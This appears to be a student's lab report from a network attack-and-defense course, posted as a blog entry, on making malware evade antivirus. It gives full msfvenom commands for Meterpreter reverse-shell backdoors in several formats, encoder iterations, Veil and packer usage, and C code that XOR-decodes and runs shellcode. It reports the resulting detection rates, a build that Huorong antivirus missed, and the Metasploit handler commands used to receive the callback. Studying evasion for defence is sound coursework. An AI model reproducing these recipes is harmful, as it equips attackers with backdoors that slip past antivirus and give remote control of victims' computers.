20222420 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1 本周学习内容

1.1.1 后门技术

接着上一节课的内容继续学习了

进程隐藏技术，它还包含
- 基于 DLL 的进程隐藏技术:远程注入Dll技术
- 基于远程线程注入代码的进程隐藏技术
- Rootkit方式分用户级和内核级
数据穿透与躲避技术：加密、隧道、反弹端口

1.1.2 简单后门实践基础

netcat
Meterpreter
Metasploit框架中的一个扩展模块，本质为Payload集
Veil Evasion
为免杀工具

1.1.3 免杀

杀毒软件原理
- 特征码、启发式、基于行为
- 校验和
- 机器学习
免杀技术
- 修改特征码最初的方法
- 修改校验和
- 花指令免杀阻止反汇编程序。若杀毒软件不能识别，则其不能正确定位特征码
- 加壳免杀系统先运行“壳”，由壳将加密或压缩的程序逐步还原到内存中，最后运行
  加壳免杀还含虚拟机保护技术，将原本的汇编指令转换为另一种表现形式，以使不被轻易逆向、修改
- 内存免杀
  加壳免杀用于扫描文件时。杀毒软件在文件扫描和内存扫描的特征码不同，在内存中继续使用之前的免杀技术

1.2 实验任务

正确使用msf编码器，veil-evasion，利用shellcode编程等免杀工具或技巧
- 使用msf编码器，通过msfvenom生成如jar之类的其他文件
- veil-evasion，加壳工具
- 使用C + shellcode编程
通过组合应用各种技术实现恶意代码免杀
如果成功实现了免杀的，简单语言描述原理，不要截图。与杀软共生的结果验证要截图。
用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

2.问题回答

杀软是如何检测出恶意代码的？
特征码、校验和、机器学习等
免杀是做什么？
避免后门等被杀毒软件查杀
免杀的基本方法有哪些？
修改特征码、修改校验和，加壳等

3.实验过程

3.1 正确使用msf编码器，veil-evasion，利用shellcode编程等免杀工具或技巧

3.1.1 使用msf编码器，通过msfvenom生成如jar之类的其他文件

使用VirusTotal、Virscan来检测不编码生成的.exe后门程序
生成该程序的命令为msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor.exe
VirusTotal检出率为62/73，Virscan检出率为25/48
使用编码器x86/shikata_ga_nai进行一次编码后生成.exe后门程序
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor1.exe
VirusTotal检出率为61/73，Virscan检出率为26/48。相比不编码，VirusTotal检出率微量下降，Virscan检出率微量上升
使用编码器x86/shikata_ga_nai进行多次次编码后生成.exe后门程序（迭代60次以上将无法构造有效的编码排列）
- 10次
  msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor10.exe
  VirusTotal检出率为62/73，Virscan检出率为26/48，相比1次编码，VirusTotal检出率微量上升
- 60次
  msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.150.172 LPORT=2420 -f exe > 20222420_backdoor60.exe
  VirusTotal检出率为61/73，Virscan检出率为25/48，相比10次，检出率微量下降
使用编码器生成其他格式的后门程序（.py、.jar、.php）
- 生成.py格式的文件
  msfvenom -p python/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 -f py> 20222420_encoder.py
  
  VirusTotal检出率为0/61，Virscan检出率为0/48
- 生成.jar格式的文件，无法使用编码
  msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.150.191 LPORT=2420 -f jar> 20222420_encoder.jar
  VirusTotal检出率为34/66，Virscan检出率为13/48
- 生成.php格式的文件
  msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.191 LPORT=2420 x> 20222420_encoder.php
  
  VirusTotal检出率为10/62，Virscan检出率为3/48

综上，得到如下列表
可知，
（1）编码对检出.exe文件基本没影响，且.exe格式的检出率在所有测试格式中最高
（2）检出率次高的是.jar格式
（3）.php文件编码次数为10，检出率较低
（4）.py文件没有被检测出

格式	编码次数	VirusTotal检出率	Virscan检出率
.exe	0	62/73	25/48
.exe	1	61/73	26/48
.exe	10	62/73	26/48
.exe	60	61/73	25/48
.py	10	0/61	0/48
.jar	0	34/66	13/48
.php	10	10/62	3/48

3.1.2 veil-evasion，加壳工具

（1）配置veil是一件比较困难的事情，我参考了github上关于veil的readme和issues，并根据报错信息查看了配置文件/usr/share/veil/config/setup.sh才弄懂了问题的所在，然后才经过一些改动成功地配置了veil。配置veil的过程如下，具体为什么进行改动将在“问题及解决方案”部分详细解释。
- 按照readme中的说法，要么用apt下载，要么用git下载。因用git下载仍有报错且apt下载命令仅两行，所以我选择用apt下载
  同时，readme中要求要么用sudo，要么用root用户，所以我决定两个都用，先用sudo su切换到root用户，然后输入第一行命令
  sudo apt -y install veil
- 这时需要进行第一个改动：用vim打开/usr/share/veil/config/setup.sh，将587行处的内容改为sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
- 然后进行第二个改动，在桌面（或其他自己熟悉的目录）打开一个终端，执行sudo git clone https://github.com/Veil-Framework/VeilDependencies.git，即从git上克隆一个veil的依赖库
  
  再用vim打开/usr/share/veil/config/setup.sh，输入/Veil-Fr，找到sudo git clone https://github.com/Veil-Framework/VeilDependencies.git "${dependenciesdir}"的位置，将其改为cp -r /home/s20222420/Desktop/VeilDependencies "${dependenciesdir}"，退出并保存
- 这时所有需要的改动完成，可以使用第二行命令，等待其完成便配置好veil了。经过查看，过程中没有任何error或warning
  /usr/share/veil/config/setup.sh --force --silent
（2）开始使用veil
- 打开veil
- 选择工具，选用Evasion
- 输入list，查看可用的payloads
- 选择第7个payload，即c/meterpreter/rev_tcp.py
  use 7
  
  通过其上的描述或下面github里的描述，可知是用于攻击windows的反弹连接
- 接下来，设置LHOST和LPORT，然后generate
（3）检测veil的效果
VirusTotal检出率为43/73，Virscan检出率为17/48。相比实验第一次检测中的62/73，25/48，可知有一定的免杀效果。

3.1.3 使用C + shellcode编程

用msfvenom工具来生成一个C语言的源代码格式的有效载荷
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.192 LPORT=2420 -f c
用生成的shellcode编写.c文件。强制转化shellcode为函数指针类型，并让一个变量接收，执行这个变量便执行了该shellcode
利用指令i686-w64-mingw32-g++进行编译，得到exe文件。这个编译器专门用于生成 32 位 Windows 应用程序
i686-w64-mingw32-g++ 20222420_c_shellcode.c -o 20222420_c_shellcode.exe
测试
VirusTotal检出率为35/60，Virscan检出率为15/48。相比veil，检出率又均有一定下降

3.1.4 使用加壳工具

（1）使用压缩壳UPX
- 使用指令upx 20222420_c_shellcode.exe -o 20222420_c_upx_shellcode.exe，给上一个步骤生成的20222420_c_shellcode.exe加一个压缩壳。
- 测试
  VirusTotal检出率为46/72，Virscan检出率为11/48。相比原本的文件，VirusTotal检出率上升，Virscan检出率下降。说明VirusTotal比Virscan对UPX记录得更多。
（2）使用加密壳Hyperion
- 使用指令如下
  wine /usr/share/windows-resources/hyperion/hyperion.exe -v /home/s20222420/Desktop/20222420_c_shellcode.exe /home/s20222420/Desktop/20222420_c_hyp_shellcode.exe注意需要在root下执行
- 测试
  VirusTotal检出率为54/73，Virscan检出率为21/48。相比原本的文件，检出率均上升，且均高于使用UPX。说明加密壳Hyperion被记录得更加广泛。

3.2 通过组合应用各种技术实现恶意代码免杀（描述原理，仅要与杀软共生截图）

发现：同一份C语言程序，在linux下编译和在windows下编译，在VirusTotal中的差距极大
- Linux下用i686-w64-mingw32-g++交叉编译，检出率为23/70
- windows下codeblocks中编译，检出率为4/72。
大量试验中我的思考过程
- Thread1：Linux下加壳后检出率反而提升，于是我决定不加壳
- Thread2：veil生成的后门效果虽然比msf编码的效果好但检出率仍不低，且还不能改动，于是我将使用"编码+c+shellcode"
- Thread3：使用"编码+c+shellcode"，检出率仍较高，为进一步降低检出率，于是考虑将shellcode加密
- Thread4：单纯使用异或0x01变动shellcode且main函数不将其解密，以及异或一个密钥变动shellcode且main函数中将其解密，这种两种方式的检出率均较低，如后者在linux编译后检出率为28/72，在windows编译后检出率为11/72
具体实现过程
- 使用msf编码器生成编码十次后的shellcode并输出到新建文件20222420_shellcode.txt
  msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.150.192 LPORT=2420 -f c > 20222420_shellcode.txt
- 编写、编译、运行加密程序20222420_enc，将20222420_shellcode.txt中的shellcode用0x05加密各个字节
- 将加密后的shellcode放在新建文件20222420_shellcode2.c中
- 在20222420_shellcode2.c中加入main函数，用于将加密后的shellcode解密并执行

点击查看代码

int main(){
	int i;
	for(i=0;i<sizeof(buf);i++)
	{
		buf[i] ^= 0x05;
	}
	int (*func)() = (int(*)())buf;
	func();
}

上述20222420_shellcode2.c只是一个临时文件，现在将文件中编写好的代码复制在windows环境下编译，文件夹名为20222420_shellcode2
- 杀软扫描
  使用火绒安全软件，版本为6.0.3.0
  20222420_shellcode2.exe并未被查出，仅查出20222420_shellcode10.exe
额外的想法
参考音频的cda格式，只存地址，将shellcode打散存储，用一个数组存储指向各个shellcode分片的地址，然后在需要执行shellcode时一片片找，可找一片执行一片，也可找完后按数组顺序一片片执行。
也许可以将main函数改为如下，但shellcode也许不能一个字节一个字节地执行，可以改分为能执行的块。

main函数

int main()
{   //由于若要将buf随机存储，编写代码时间较长，我这里仅将其分为两个部分
    unsigned char buf1[sizeof(buf)] ; //存储buf的偶数部分
    unsigned char buf2[sizeof(buf)] ; //存储buf的奇数部分
    int i=0;
    for(i=0;i<sizeof(buf);i++)
    {
        if(i%2==0) buf1[i/2]=(unsigned char)(buf[i]^0x05); //存储buf的偶数部分并解密，这样无论内容是否被加密，单独看buf1就是无毒的
        else buf2[(i-1)/2]=(unsigned char)(buf[i]^0x05);   //存储buf的奇数部分并解密，这样无论内容是否被加密，单独看buf2就是无毒的
    }
    int (*func[sizeof(buf)])();     //func为指向函数指针的指针，即函数指针数组
    for(i=0;i<sizeof(buf);i++)      //找到每一个buf分片
    {
        if(i%2==0)
        {
            func[i] = (int(*)())&buf1[i/2];       //若要改进，其实也可以在这里解密并执行，且可以执行一片清空一片
        }
        else func[i] = (int(*)())&buf2[(i-1)/2];
    }
    for(i=0;i<sizeof(buf);i++)      //相当于将每一个字节当作一个函数指针指向的空间，要执行这个字节就只能顺序执行每一个指针，而func就是一个顺序存储各个指针的数组的指针。这样避免了仅一个函数指针就暴露整个shellcode
        func[i]();

}

3.3 用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

在kali中输入
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.150.192
set LPORT 2420
exploit
使用火绒安全软件，版本为6.0.3.0
在杀软开启的情况下，在windows主机上运行生成的程序，可以看到成功回连成功。

4.问题及解决方案

问题1：安装配置veil时报错
问题1解决方案：1.根据报错信息知道是Python pip pefile报错，在github上查找相关问题，发现pefile不支持相关python，在setup.sh中改变pefile的版本为2019.4.18便可解决这个问题。2.解决了Python pip pefile的问题，我又遇到了报错，通过报错信息知道是克隆时无法连接到github，这是网络的问题，但我单独在终端中运行setup.sh中相关的克隆命令时并没有出错。于是我将其克隆在桌面，然后将setup.sh中的克隆命令改为cp命令，将克隆到桌面的文件夹复制到原需克隆至的目录。然后我便成功安装配置了veil。
问题2：使用加密壳时出错
问题2解决方案：可能是权限不够，转换在root用户下运行便成功了。
问题3：msfvenom生成exe文件后无法在windows下执行并连接
问题3解决方案：经过试验排除了payload不是x64的问题，发现需要-f exe参数才能使其可执行并连接。不用-f exe而用x或什么都不加，是都不能执行并连接的。

5.学习感悟、思考等

在本次实验中，通过使用msf编码器、veil-evasion、加壳工具以及C + shellcode编程等多种技术和工具，我学习了如何在保持恶意代码功能性的同时，尽可能地避免被杀毒软件检测和拦截。
在实验过程中，我遇到了不少问题，比如veil的安装配置错误、加密壳的使用权限问题以及msfvenom生成文件无法执行的问题。这些问题一度让我感到困惑和沮丧，但通过不断查阅文档、搜索解决方案和反复试验，我最终成功地克服了这些障碍。这些经历不仅提升了我的问题解决能力，也让我更加深刻地体会到了实践的重要性。
经过本次实验，我深刻体会到，在网络安全领域，恶意代码的隐藏和检测是一个相互博弈的过程。一方面，攻击者会不断尝试使用新的技术手段来躲过安全检测，另一方面，安全厂商也会不断更新和升级他们的检测算法来应对这些威胁。

参考资料

posted @ 2024-10-30 21:20 SAltria 阅读(11) 评论(0) 编辑收藏举报

刷新页面返回顶部

20222420 2024-2025-1 《网络与系统攻防技术》实验三实验报告

20222420 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

1.1 本周学习内容

1.1.1 后门技术

1.1.2 简单后门实践基础

1.1.3 免杀

1.2 实验任务

2.问题回答

3.实验过程

3.1 正确使用msf编码器，veil-evasion，利用shellcode编程等免杀工具或技巧

3.1.1 使用msf编码器，通过msfvenom生成如jar之类的其他文件

3.1.2 veil-evasion，加壳工具

3.1.3 使用C + shellcode编程

3.1.4 使用加壳工具

3.2 通过组合应用各种技术实现恶意代码免杀（描述原理，仅要与杀软共生截图）

3.3 用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

4.问题及解决方案

5.学习感悟、思考等

参考资料

公告